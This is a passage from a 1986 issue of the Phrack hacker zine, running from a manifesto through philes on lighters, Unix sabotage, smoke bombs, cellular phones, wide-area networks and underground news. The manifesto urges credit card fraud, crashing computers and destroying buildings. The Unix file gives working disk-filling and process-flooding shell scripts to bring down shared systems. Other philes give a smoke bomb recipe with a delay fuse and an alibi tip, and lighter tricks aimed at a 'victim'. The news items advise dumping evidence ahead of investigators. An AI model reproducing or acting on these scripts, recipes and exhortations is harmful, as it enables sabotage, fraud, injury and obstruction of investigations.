Hacking is a major facet of the fight against the computer monopoly. One of the ways hackers accomplish their means has developed into an art in itself: Phone Phreaking. It is essential that every Hacker also be a Phreak, because it is necessary to utilize the technology of the phone company to access computers far from where they live. The phone company is another example of technology abused and kept from people with high prices.

Hackers often find that their existing equipment, due to the monopoly tactics of computer companies, is inefficient for their purposes. Due to the inexorbitantly high prices, it is impossible to legally purchase the necessary equipment. This need has given still another segment of the fight: Credit Carding. Carding is a way of obtaining the necessary goods without paying for them. It is again due to the companies stupidity that Carding is so easy, and shows that the world's businesses are in the hands of those with considerably less technical know‑how than we, the hackers.

There is one last method of this war against computer abusers. This is a less subtle, less electronic method, but much more direct and gets the message across. I am speaking of what is called Anarchy. Anarchy as we know it does not refer to the true meaning of the word (no ruling body), but to the process of physically destroying buildings and governmental establishments. This is a very drastic, yet vital part of this "techno‑revolution."

Hacking must continue. We must train newcomers to the art of hacking. We must also increase computer Crashing. I know that crashing a computer seems a waste, but when there is no other way to subvert a business, their system must be shut down.

As I stated above, this is only on the motives. If you need a tutorial on how to perform any of the above stated methods, please read a file on it. And whatever you do, continue the fight. Whether you know it or not, if you are a hacker, you are a revolutionary. Don't worry, you're on the right side.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you have a question or comment about this file or the "technorevolution" just leave mail for me on the Metal Shop AE (314)256‑7284, or any other BBS I may happen to be on.

Fun with Lighters

Volume One, Issue Six, Phile 4 of 13

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

"How To Have Fun With a Bic <or generic> Lighter"

by The Leftist

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

First off, let me say, that I am not responsible for any personal damage done by the use of the information in this file.

Shower of sparks from nowhere:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This trick is done usually with an empty lighter. Disassemble the top, being careful not to loose the flint, and the spring, which are under the striker wheel. Throw away everything else, unless there is still some fluid in the lighter, which can be used for some of the other things in this file. Save the flint and spring.

Ok, now take the spring, and pull on the end a little, and stretch the spring out a little longer than the flint. Next, take the flint, and kind of wrap the end of the spring around it. It should look sort of like fig. A. Next, the fun part. Take the spring, and hold it by the end that doesn't have flint on it, and heat the flint till it glows. Don't worry, the heat won't burn your fingers. Then, throw it flint first at victim, pavement, or whatever.

Fig. A

\/\/\//\/\/\/\/\

/\/\/\/\/\/\/\/\heat this end

^

|

spring flint

What to do with leftover lighter casing:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Light one of the striker wheel supports, and lay it upside down in a corner and run like hell! This will blow pretty good. You can also take the casing and wrap it loosely in a paper towel, light the towel, step back, and shoot it with a BB gun. Fun. Experiment, but don't ever puncture the lighter, while you're holding it, that would be foolish.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Any questions or comments? Contact me on the 2400 Baud Exchange 404‑925‑9657.

The Leftist.

^*

Nasty Unix Tricks

==Phrack Inc.==

Volume One, Issue Six, Phile 5 of 13

========================================

‑‑‑‑‑‑‑

Unix Nasties

‑‑‑‑‑‑‑

By Shooting Shark

Written on April 3, 1986

========================================

Summary: Methods of sabotaging your favorite Unix system.

Preface: I do not advocate utilizing ANY of the methods I put forth in this file. Unix is a cool operating system, perhaps one of the best systems ever designed in many respects. If you have access to a Unix system, you should LEARN UNIX AND LEARN C, because that is where the money is in the computer world. However, Unix is a relatively insecure operating system which is easy to fuck up. This file explains a few ways of doing so.

Crash The System

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix has no built‑in provision for the maximum amount of disk space allowed per user. Thus, one user can grab all the disk space on the system and effectively prevent anyone else from writing to the disk. A simple way of grabbing all the disk space is to create subdirectory after subdirectory until it is no longer possible. Here are a few ways of doing it.

1> Create a file with the following lines:

mkdir subdir

cd subdir

source /u1/mydir/crash

Call it crash. The last line ("source /u1/mydir/crash") should be altered so that it will look for the file in your directory. If your directory is /u3/students/jeff, the last line should say "source /u3/students/jeff/crash". After you write the above file, type:

% source crash

and wait...within a few minutes the program will abort because it won't have any more room on the disk. Neither will anyone else.

2> Here's a more elegant way of doing the same thing. Create this "endless loop" shellscript:

while : ; do

mkdir subdir

cd subdir

done

and then "source" the file. If you are in the "sh" shell (if you are, you will probably have a "$" prompt) you can type "while : ; do" from the $ prompt. You will then get a > prompt. Type the next three lines and sit back.

3> If you'd like to set the process in motion and hang up, and the file is called crash, type:

% nohup source crash &

and log off. This will start it as a background process, allowing you to log off. However, log off QUICKLY, since if you used the first example for your crash file, it will also eat up background processes like crazy which will also fuck up the system to some extent. Which brings us to...

Slow Down The System Immensely

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are many ways of doing this, the method being creating a sufficiently large number of background processes. Here's one specific example. Create a file called "slow1" with the following lines:

w &

source slow1

create a file called "slow2" with:

source slow1 &

source slow2

and execute slow2 with

% slow2

or

% slow2 &

This will create 25 background processes, each one running 25 background processes. The system will hardly move after you've got each one running.

Messing Up A Directory

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many file‑handling commands use "‑" options. Create a file with a "‑" at the beginning of its name by doing this:

cat > ‑filename

[now type a few lines, maybe something rude like "ha ha you can't delete this file".] Type a ^D (control‑d) to end input. You now have a file called ‑filename in your directory. It will be VERY difficult to remove this file. If you were to try rm (remove) ‑filename or mv (rename) ‑filename, the rm or mv program would interpret ‑filename as an option, not a file, and would give you an error message telling you that ‑filename was not a valid option...thus, the file stays there obnoxiously.

Create a couple of hundred files with "‑" as the first characters in their names...it will be a royal pain for the person who is blessed with these new files, and they will probably just have to get a new login.

Conclusion

The use of any of these techniques is quite irresponsible, and if anyone did this to my Unix system, I'd be quite pissed. That is why I strongly recommend that you never use these tricks.

So Long,

Shooting Shark

"Some people have a bad attitude, and I say, if they want to act tough, beat 'em up!" ‑ Blue Oyster Cult

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For more information on UNIX sabotage and cracking, see the following articles:

Ritchie, Dennis M. [he wrote Unix] "On the Security of UNIX." Programmers Manual for UNIX System III Volume II. Supplementary Documents.

Filipski, Alan and Hanko, James. "Making UNIX Secure." BYTE Magazine, April 1986, pp 113‑128.

Smoke Bombs

==Phrack Inc.==

Volume One, Issue Six, Phile 6 of 13

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/

/=‑=‑=‑

< Smoke Bomb >

>‑‑‑‑‑‑

< by >

> Alpine <

< Kracker >

\‑=‑=‑=

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ingredients‑

Saltpetre (Potassium Nitrate)

Sugar

Alcohol (100% is best, but plain rubbing alcohol will work) Gunpowder (or some ground‑up rocket engines)

Matches (Get a box of 50 packs ‑they can be very useful.) Coffee can

Cigarette

Instructions:

‑‑‑‑‑‑‑‑‑‑‑‑

Combine the sugar and saltpetre in a 3:1 ratio (Sugar:saltpetre) and heat over a low flame until the mixture has thoroughly melted together. (It will look like sticky white lumps when ready) You need to stir this continually while heating, and remove it from the flame at the very first sign of smoke. I had a batch go off in my face once, and the workroom was filled with smoke for a good half hour. It is easier and safer to work with smaller batches.

Now, dump all of this "smoke powder" into a coffee can, add some match heads, moisten it with a little alcohol, and add gunpowder until all the smoke powder is coated. Now tape a cigarette between the match heads in an unopened book. Imbed the book into the mixture.

Light the but, and walk casually away to find a nice alibi within 5 minutes.

Notes:

‑‑‑‑‑

You should be able to find some Saltpeter in a local drug store.

All of the gunpowder, match heads, and alcohol is simply to insure good ignition. You can omit them, but if you have them, mix them in for reliability's sake. For the fuse, you can either use the one listed, or either some canon fuse, or a rocket igniter and an electrical system.

A quarter pound of this stuff is supposed to fill a city block. I'm not sure if that is accurate, but it sure fills a public bathroom nicely.

/\ | /

/ \ | /

/====\ | /

| | | \

| lpine | racker

Cellular Telephones

==Phrack Inc.==

Volume One, Issue Six, Phile 7 of 13

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Cellular Telephones

[Written By The High Evolutionary]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

I assume that most of us know many of the technical aspects of Cellular Phreaking therefore this file is intended for general information as to how these unique devices operate.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cellular is likely to be successful because it provides dramatic improvements over the historic automobile phones. For years, mobile radio‑telephone service was an extremely limited proposition. There were only forty‑four radio channels available, and a maximum of about thirty were assigned to any one area. That meant if all thirty channels were occupied‑one conversation per channel‑and you were the thirty‑first mobile phone user who wished to make a call, you would have to wait thirty minutes or more, even in a city the size of New York. As you can imagine, mobile radio‑telephone service like that could not become very popular. Even with the limited number of channels, long delays in making calls during busy periods, and often poor quality transmission, there were big waiting lists for mobile service. But with a fully equipped cellular radio‑telephone system, it is possible to make 5000 times as many calls simultaneously in the same metropolitan area, opening up the service to anyone that can pay the hefty prices.

That is because cellular radio‑telephones systems are technically quite different from traditional mobile telephones. First, the FCC (Federal Communications Commission) has allocated far more channels to cellular, 666 in all. Second, those 666 channels are broadcast from many different locations. In the old mobile telephone systems, there was one powerful radio station with a large antenna that served an entire city. In the new system, a geographical area is honeycombed with many cells, hence the name 'Cellular'. Each cell has its own low‑powered radio transmitter and receiver. As a car with a cellular telephone or a person carrying a portable moves from one cell to the next, the call is transferred automatically. You're unlikely to notice when this transfer takes place, even though your phone is suddenly switched to a different radio station and to another channel while you are talking.

Because the cellular signal is low‑powered, it doesn't go very far. This permits the same channel you are talking on to be used for calls in other parts of the same metropolitan area without interference. This would mean cellular radio‑telephone systems can serve a very large number of customers in an area because there are more channels than before‑and the larger number of channels are reused.

Unlike local telephone service, which is provided by a monopoly, there is competition in cellular. Two classes of companies are allowed to offer cellular telephone service in every market. One cellular system can be owned by a telephone company, the other by someone else. The two‑company rule was adopted by the FCC so that AT&T, which developed cellular, could not monopolize the whole thing.

Cellular Telephones come in two basic versions, as car phones and portable phones, with a briefcase hybrid. Car phones are by far the most common, because they are much cheaper. But most believe that, ultimately, portables will be the most popular. Washington Post Company president Richard Simmons, whose company is a partner in several cellular systems, even predicts that by the early 1990's "There will be phones roughly the size of a calculators that you carry around in your pocket. They will cost no more than five hundred dollars. They will emancipate people from the necessity of locating a phone to make calls. The bad news is, you will never be able to get away from the phone, and we'll call it progress."

Car telephones include a small transmitter‑receiver unit that is usually mounted in the trunk, an antenna and a control head that includes the handset. In most cellular systems, the telephone touchpad is located on the handset. Many domestic and foreign manufacturers make cellular car phones, but so far only Motorola makes portables, the DYNA T‑A‑C 8000X and 8000S. Motorola's portables look like a slightly enlarged, somewhat chunky telephone handset, with a stubby antenna at one end.

Portables are less powerful than car units, so they can't be used with some cellular systems. The portable's other limitation is battery life. A portable can listen for calls for about eight hours, but it can only transmit for only thirty minutes. After that time it must be charged for a minimum of an hour.

The following American cities have cellular telephone service or soon will get it:

New York Denver Los Angeles Seattle Chicago Milwaukee Philadelphia Tampa Detroit Cincinnati Boston Kansas City San Francisco Buffalo Washington Phoenix Dallas San Jose Houston Indianapolis St. Louis New Orleans Miami Portland Pittsburgh Cleveland San Diego Atlanta Baltimore Minneapolis

Wide Area Networks

==Phrack Inc.==

Volume One, Issue Six, Phile 8 of 13

!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.

Jester Sluggo presents

an insight on

Wide‑Area Networks

Part 2

!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.

Part 1 contains information on ARPANET and CSNET.

Part 2 contains information on BITNET, MFENET, UUCP and USENET.

It is best if you read both files to better understand each other.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These files will cover general information on wide‑area networks, (I.E. ARPANET, CSNET, BITNET, MFENET, UUCP and USENET), but may contain information in relationship with other networks not emphasized in these files. These files are NOT a hacker's tutorial/guide on these systems.

BITNET

~~~~

BITNET. In 1981, City University of New York (CUNY) surveyed universities on the East Coast of the U.S. and Canada, inquiring whether there was interest in creating and easy‑to‑use, economical network for interuniversity communication between scholars. The response was positive. Many shared the CUNY belief in the importance of computer‑assisted communication between scholars. The first link of the new network, called BITNET, was established between CUNY and Yale University in May 1981.

The network technology chosen for BITNET was determined by the availability of the RSCS software on the IBM computers at the initial sites. [The name BITNET stands for Because It's Time NETwork.] The RSCS software is simple but effective, and most IBM VM‑CMS computer systems have it installed for local communications, supporting file transfer and remote job entry services. The standard BITNET links are leased telephone lines running at 9600 bps. Although all the initial nodes were IBM machines in university computer centers, the network is in no way restricted to such systems. Any computer with an RSCS emulator can be connected to BITNET. Emulators are available for DEC VAX‑VMS systems, VAX‑UNIX systems, and for Control Data Corp. Cyber systems and others. Today, more than one‑third of the computers on BITNET are non‑IBM systems.

BITNET is a store‑and‑forward network with files and messages sent from computer to computer across the network. It provides electronic mail, remote job entry, and file transfer services, and supports and interactive message facility and a limited remote logon facility. Most BITNET sites use the same electronic mail procedures and standards as the ARPANET, and as a result of the installation of electronic mail gateway systems at the University of California at Berkley and at the University of Wisconsin‑Madison, most BITNET users can communicate electronically with users on CSNET and the ARPANET. BITNET has expanded extremely rapidly ‑‑ a clear indication that is providing service that people need and want. The simplicity of the connection to the network ‑‑ acquiring a 9600‑bps leased line to the nearest neighboring computer node and in installing an additional line interface and modem ‑provides the service at the right price. By the end of 1985 the number of computers connected was expected to exceed 600, at more than 175 institutions of higher education throughout the U.S. BITNET is open without restriction to any college or university. It is not limited to specific academic disciplines, and may be used for any academic purpose. However, use for commercial purposes is prohibited. In special cases, connection of commercial organizations may be sponsored by universities. A particular case is the connection of Boeing Computer Services to BITNET, as part of the NSFnet initiative, to provide remote job entry services to their Cray X‑MP/24 to NSF supercomputer grantees who have access to BITNET.

Until recently BITNET had no central management structure, and was coordinated by an executive board consisting of members from the major institutions participating. This worked because most of the computers connected were managed and operated by professional service organizations in university computer centers. However, the growth in the network made it possible to continue in this ad hoc fashion, and a central support organization was established with support from an IBM grant. The central support organization, called the BITNET network support center (BITNSC), has two parts: A user services organization, the network information center (BITNSC), which provides user support, a name server and a variety of databases, and the development and operations center (BITDOC) to develop and operate the network. A major question facing the members of BITNET is how the funding of this central organization will be continued when the IBM grant expires in 1987. BITNET, with support from the NSFnet Program, is now examining ways to provide ARPANET‑like services to existing BITNET sites. The project, which is similar to the CSNET CYPRESS project, will explore a strategy to provide an optional path to the use of the TCP‑IP procedures on existing 9.6‑kbps leased lines. The possibility of upgrading these lines to multiple alternate links, providing higher reliability and availability, or to higher speed 56‑kbps links is also being studied. The project will offer a higher level of service to BITNET sites choosing this path and also enable a low‑cost connection to NSFnet.

MFENET

~~~~

MFENET. The DOE's magnetic fusion energy research network was established in the mid‑1970's to support access to the MFE Cray 1 supercomputer at the Lawrence Livermore National Laboratory. The network uses 56‑kbs satellite links, and is designed to provide terminal access to the Cray time‑sharing system (CTSS), also developed at the Lawrence Livermore Laboratory. The network currently supports access to Cray 1, Cray X‑MP/2, Cray 2, and Cyber 205 supercomputers. The network uses special‑purpose networking software developed at Livermore, and, in addition to terminal access, provides file transfer, remote output queuing, and electronic mail, and includes some specialized application procedures supporting interactive graphics terminals and local personal computer (PC)‑based editing. Access to the network is in general restricted to DOE‑funded researchers. Recently the network has been expanded to include the DOE‑funded supercomputer at Florida State University. MFENET is funded by DOE and managed by Livermore.

MFENET has been successful in supporting DOE supercomputer users. However, the specialized nature of the communications protocols is now creating difficulties for researchers who need advanced graphics workstations that use the UNIX BSD 4.2 operating system and the TCP‑IP protocols on LAN's. For these and other reasons, DOE is examining how best to migrate MFENET to the TCP‑IP, and later to the OSI, protocols.

The combination of the CTSS operating system and the MFENET protocols creates an effective interactive computing environment for researchers using Cray supercomputers. For this reason, two of the new NSF national supercomputer centers ‑‑ San Diego (SDSC) and Illinois ‑‑ have chosen the CTSS operating system. In SDSC's case, the MFENET protocols have also been chosen to support the SDSC Consortium network. In Illinois case, a project to implement the TCP‑IP protocols for the CTSS operating system has been funded by the NSFnet program, and these developments will be shared with SDSC (and with DOE) to provide a migration path for the SDSC Consortium network.

UUCP and USENET

~~~~

UUCP and USENET. The UUCP network was started in the 1970's to provide electronic mail and file transfer between UNIX systems. The network is a host‑based store‑and‑forward network using dialup telephone circuits and operates by having each member site dialup the next UUCP host computer and send and receive files and electronic mail messages. The network uses addresses based on the physical path established by this sequence of dialups connections. UUCP is open to any UNIX system which chooses to participate. There are "informal" electronic mail gateways between UUCP and ARPANET, BITNET, or CSNET, so that users of any of these networks can exchange electronic mail. USENET is a UNIX news facility based on the UUCP network that provides a news bulletin board service. Neither UUCP nor USENET has a central management; volunteers maintain and distribute the routing tables for the network. Each member site pays its own costs and agrees to carry traffic. Despite this reliance on mutual cooperation and anarchic management style, the network operates and provides a useful, if somewhat unreliable, and low‑cost service to its members. Over the years the network has grown into a world‑wide network with thousands of computers participating.

OTHERS

~~~~

Other Wide‑Area Networks. Of necessity this file of wide‑area networks has been incomplete: Other networks of interest include the Space Plasma Analysis Network (SPAN) ‑‑ a network of DEC VAX computers using 9.6‑kbps links and the DECNET protocols for National Aeronautics and Space Administration's researchers; the planned Numerical and Atmospheric Sciences (NAS) network centered at Ames Research Center ‑‑ a network that is expected to use existing and planned NASA communications links and the TCP‑IP protocols; and the planned high‑energy physics network ‑‑ a network based largely on VAX computers and using the standard X.25 network level protocols plus the so called "coloured books" protocols developed in the United Kingdom. Also, many high‑energy physicists, at the Stanford Linear Accelerator, at the Lawrence Berkley Laboratory, and at Fermi Laboratory, among others, have used DECNET to connect their DEC VAX computers together.

/

\

/ luggo !!

Please give full credit for references to the following:

Dennis M. Jennings, Lawrence H. Landweber, Ira H. Fuchs, David J. Faber, and W. Richards Adrion.

Any questions, comments or Sluggestions can be emailed to me at Metal Shop, or sent via snailmail to the following address until 12‑31‑1986:

J. Sluggo

P.O. Box 93

Phrack World News Part 1

==Phrack Inc.==

Volume One, Issue Six, Phile 9 of 13

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

*‑=+^ Phrack World News ^+=‑*

Issue Five/Part 1

Compiled and Written By

Knight Lightning

~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑~‑

Where is Taran King? May 10, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taran King is generally thought to be a very mellow, easy going person. For the most part this is true. However he also gets into major fights with his dad. When Taran does get pissed he, gets violent. In the past he has punched a hole into his bedroom door and put dents in his refrigerator with his fists.

Most recently his dad found out about his collection of illegal knives, including stilettos, butterflies, and survival knives. They got into an argument about this and eventually into a fight. Taran stormed off to his room. Meanwhile, unknown to him, his dad called the police. They took him to a nearby hospital's adolescent psychiatric ward, supposedly for evaluation. As of June 14, 1986 he has been there for five weeks and the end isn't in sight.

For a while he had no phone of visitor privileges and there was no way of contacting him. This now has changed, but the problems have not been solved.

On May 23, 1986 he was let out on a pass to go see Judas Priest in concert (it was great). He has been let out on pass several times since then as well, mostly on weekends.

As far as Metal Shop Private...

Well on May 12, 1986, the /\/impha and I decided to go to Taran's house to collect the Phrack files and to add a few new modifications to the bbs so that I could control it better remotely. Taran's sister let us in, no problem. Unfortunately, before we were done Taran's dad came home. He immediately spotted my car outside and burst into the house. He was pissed that we were there and made sure we weren't stealing anything (like I am really going to steal from my best friend right?). He assumed that the bbs had crashed and that we were there fixing it. He then decided that he didn't want us to come over every time the board crashed and TOOK IT DOWN!

Metal Shop Private will return when Taran gets out, hopefully sometime in June.

________________________________________

Metal Shop AE April 27, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑

Metal Shop AE is now the proud possessor of a full 40 megs of online storage. It also has added an individual password system for greater board security and now has an email messaging service online.

Metal Shop AE is sysoped by Cheap Shades. It is one of the main distribution centers for Phrack Inc. It has the complete Phrack series online as well as almost 1000 other files.

To become a member of Metal Shop AE, contact Cheap Shades, Taran King, or Knight Lightning.

To upload files for distribution in Phrack Inc. be sure to upload them to drive E which will save your file to a non‑public viewable drive where it will stay until it is edited for Phrack.

________________________________________

Mark Tabas and Karl Marx Busted May 2, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The story goes like this; Mark Tabas was working at a plant in Denver where credit card blanks are manufactured. He decided to take a few. He and Karl Marx then went about finding someone with an embossing machine to print some stuff onto the blanks. They were able to find someone and agreed to meet at a motel to do the work. Everything went well. They were able to print card numbers, names, and expiration dates that they had gotten onto the blanks. To celebrate they ordered a bottle of champagne from room service, and paid for it with one of the cards. At that point the guy with the embosser pulled his badge, Secret Service! Now Mark Tabas and Karl Marx are facing forgery and carding charges along with theft for the blanks.

Information provided by Sally Ride...Space Cadet

(Editor's Note: At the time that this information was gained, Sally Ride commented that it may be a rumor. Any inconsistencies are not his fault)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

May 15, 1986

We at Phrack have since uncovered more information about this bust. Apparently a guy named Will Bell, who's handle was Jack Bell, set up Karl Marx and Mark Tabas. Will Bell had the embossing machine and was not a member of the Secret Service. Instead, he was the son of a member of the Secret Service (although maybe he was the son of a member of the FBI). Since he was not a fed, this was not a case of entrapment. It is believed that Will/Jack Bell is originally from the 312 (Chicago) area.

Information Provided by Jester Sluggo and The Sprinter

________________________________________

FBI/Wylon In Action

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On May 2, 1986, the homes of Cheap Shades and Kleptic Wizard received visits from Edward P. Nowicki, Special Agent of the Federal Bureau of Investigation.

This was not a bust in any way. This agent was trying to gain evidence for a telecommunications company known as Wylon, which is mainly based in the Colorado/Wyoming area. Apparently someone or several people had been calling Kleptic Palace AE and Metal Shop AE illegally and Mr. Nowicki wanted to know who had been placing these calls.

As far as Kleptic Palace AE, the calls in question were made on 2/9/86 5:12 AM, 2/9/86 4:33 PM, and 2/10/86 7:30 AM. Although no specific order is mentioned. The times of the calls made to Metal Shop AE are not available. A third place called was the home of TWCB Inc. At the time of these calls Whackoland was still up.

The agent expected all of them to have a caller log on the board but of course neither of their AEs kept caller logs. Not to mention the fact that no one would kept a caller log for three months anyway.

Kleptic Wizard got a message to Taran King which was then sent to me, and within the hour I arrived at Klepto's house where I discovered the FBI still around, so after killing another 45 minutes, I went inside and met with Klepto. Mr. Nowicki had left behind two things, his business card and a list of four suspects that he was specifically trying to bust. Apparently all four had been caught for Wylon abuse in the past.

I recognized the name at the top of the list almost instantly and as a result, saved a fellow phreak from a possible bust. Two of the others are rumored to have been warned as well. However if this is untrue then the other three still may be in great danger as of this writing. All of the suspects live in the Wyoming/Colorado area.

The homes of Cheap Shades and Kleptic Wizard were not searched and their boards were not looked at. The FBI agent even declined an invitation from Kleptic Wizard to see the bbs. This may be because he didn't have a warrant.

Information provided by Kleptic Wizard and Cheap Shades

________________________________________

Administration Nominations? May 6, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In late April 1986, The Administration decided to have their yearly membership drive for the group. The phreaks/hackers being voted on for membership included:

Blade Runner/Jester Sluggo/Knight Lightning/Oryan Quest/Phlash Gordon Recent Change/Sally Ride/Slave Driver/Taran King/The Marauder

Many of the above and others had thought that they had been voted into the Administration without even being asked. However this was not the case.

David Lightman stated that the nominations were made public so that the Administration members would know of the vote taking place on Administration BBS

1. Once the nominations were voted on, then the phreaks/hacks would be formally invited.

I now pose an important question. If David Lightman is the only regular board caller of the Administration, then how would the other members know how to vote?

So far the results of the votes have not been made public. Not that it matters that much because The Administration has now more or less completely fallen apart. It would appear that this new membership drive was an attempt to revive the group with new blood. However the group has been revived on its own, since the formers members regrouped again...at least temporarily.

Some Information Provided by David Lightman

________________________________________

Trouble in Texas June 2, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the last week of May, David Lightman, decided to do a credimatic check on Blade Runner. To his great surprise, he found that Blade Runner worked for Southwestern Bell Security. He confronted Blade Runner with this information and shortly afterward received a visit from Southwestern Bell Security, who confiscated his terminal programs, his user files, notebooks, and g‑phile disks. He claims that his user files and g‑philes were scrambled so no one should worry too much.

Later that day, Sir Gamelord, sysop of World's Grave Elite, called David Lightman and said that Blade Runner was on the board and acting really strange. David Lightman told him what happened and they then hung up. The next day Blade Runner is a cosysop of World's Grave Elite as well as Thieve's Underground, sysoped by Jack The Ripper. Now Sir Gamelord denies the incident ever occurred. At this writing, David Lightman is laying low and retiring from the phreak world until things clear up.

Sir Gamelord's side to this story is quite different. Sir Gamelord said that he, Blade Runner, and Jack the Ripper were forming a group called the P.H.I.R.M. (see Phrack Pro‑Phile 3 this issue) and that Lightman wanted to be in and to lead the group as a subsidiary of The Administration (like Team Hackers'86). They refused, and took away his cosysop access on their boards. Sir Gamelord says that Lightman is making this whole Southwestern Bell Security story up to get revenge on them.

However, Lightman claims that he was asked to be a member of The P.H.I.R.M., but refused because he didn't have the time. He did however recommend Digital Logic, Ford Prefect, and The Lineman (sysop of the Lost City Of Atlantis).

David Lightman has since received his disks back but will not be around on boards very much. The decision is up to you. I will try to get more information out on boards as soon as possible.

Information provided by David Lightman and Sir Gamelord

________________________________________

Ninja NYC/Sigmund Fraud; Close Calls

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sigmund Fraud, famous for his incredible proficiency at "social engineering" is now laying incredibly low after what is considered the closest call of his life.

The following must be regarded as pure rumor for the sake of non‑incrimination of those involved. You readers know what I mean.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The story goes like this, Sigmund Fraud and a friend (the same one who went to the Telepub'86 meeting in New York, however he has no handle) were able to convince their local Bell company that they were another part of the same company and were able to acquire; Call Forwarding, Call Waiting, Speed Calling, and Three Way Calling on to Sigmud Fraud's personal phone line. Since SF's friend lived in a Cross Bar (X‑Bar) area he could not get these services so they decided to get them for Ninja NYC. They told him about it later.

Less than a week later, on the first Thursday of May 1986, Ninja NYC came home to discover 2 telco agents awaiting his return from school. What it boiled down to was that "he" had committed several felonies and to make matters worse, the people at the local Bell company identified Ninja NYC's voice as being the caller, AND HE ISN'T THE ONE WHO MADE THE CALL!!!! What it finally boiled down to was that Ninja NYC had really received a very scary personal warning.

About this same time Sigmund Fraud is getting home and to his great dismay, all of his new found phone features have been turned off!!?! Sometime later (most likely after the telco agents had left) Sigmund gets a call from Ninja NYC. Ninja NYC of course tells him everything that had happened and warned him that he was next. Sigmund immediately called me. We both thought Sigmund was doomed and would be picked up very soon.

However this was not the case. The agents didn't show up and Sigmund had been given a golden opportunity to dump all his illegal items and get his story right. That night I received a call from Slave Driver and Sigmund call me on three‑way and we discussed what to do next. The problem was that Sigmund didn't want to get rid of his illegal items. He had boxes, manuals, notebooks, and even a PBX in his room. I told he had 2 choices; Choice A: SF gets rid of his shit somewhere anywhere, and the telcos don't get any more evidence or, Choice B: SF leaves the stuff where it is, the telcos come over and take it and SF gets nailed worse.

When I left the conversation SF was still discussing what he should do. The next day, he was not visited by the telcos, he was not busted, but instead received a call from his local bell company and was given a very strong verbal warning.

Since that time, He has stopped answering his personal phone and believes that line to be monitored. Ninja NYC is almost definitely being monitored and people have been asked not to call him.

Of course that didn't stop Daniel Zigmond from calling him. This was in an attempt to help Sigmund Fraud, but regardless may have done more damage than good.

Information Provided by Sigmund Fraud/Slave Driver/Knight Lightning

________________________________________

Telecomputist; Printed Newsletter June 8, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Forest Ranger and "TeleComputist" staff,

To: You!

I have drafted the idea for a newsletter and I stress the word newsletter. TWCB had promised everyone a 40+, glossy page magazine for an outrageous amount. I do not want to say that we are taking TAP over because we are not, but instead making amends for what TWCB did not do. To show our sincerity we will be offering the first issue free. It will be your basic newsletter with exceptional articles from experienced phone phreaks, computer hackers, and telecom buffs. Each issue will be a set four pages but since this is the grand opening issue it will be longer (20 pages). For the first free issue please send a postage paid, self addressed envelope to:

TeleComputist Newsletter

P.O. Box 2003

Florissant, Mo. 63032

Also, please send subscriptions to the same address. The subscription fee for the newsletter will be twelve dollars a year, fifty cents for back issues. This is a monthly circulation and we encourage letters.

The "TeleComputist" Staff includes:

Forest Ranger/Data Line/Reverend Enge Ax Murderer/Chris Jones/Knight Lightning/Taran King/Mad Molester

Information Provided by Telecomputist Staff

Phrack World News Part 2

==Phrack Inc.==

Volume One, Issue Six, Phile 10 of 13

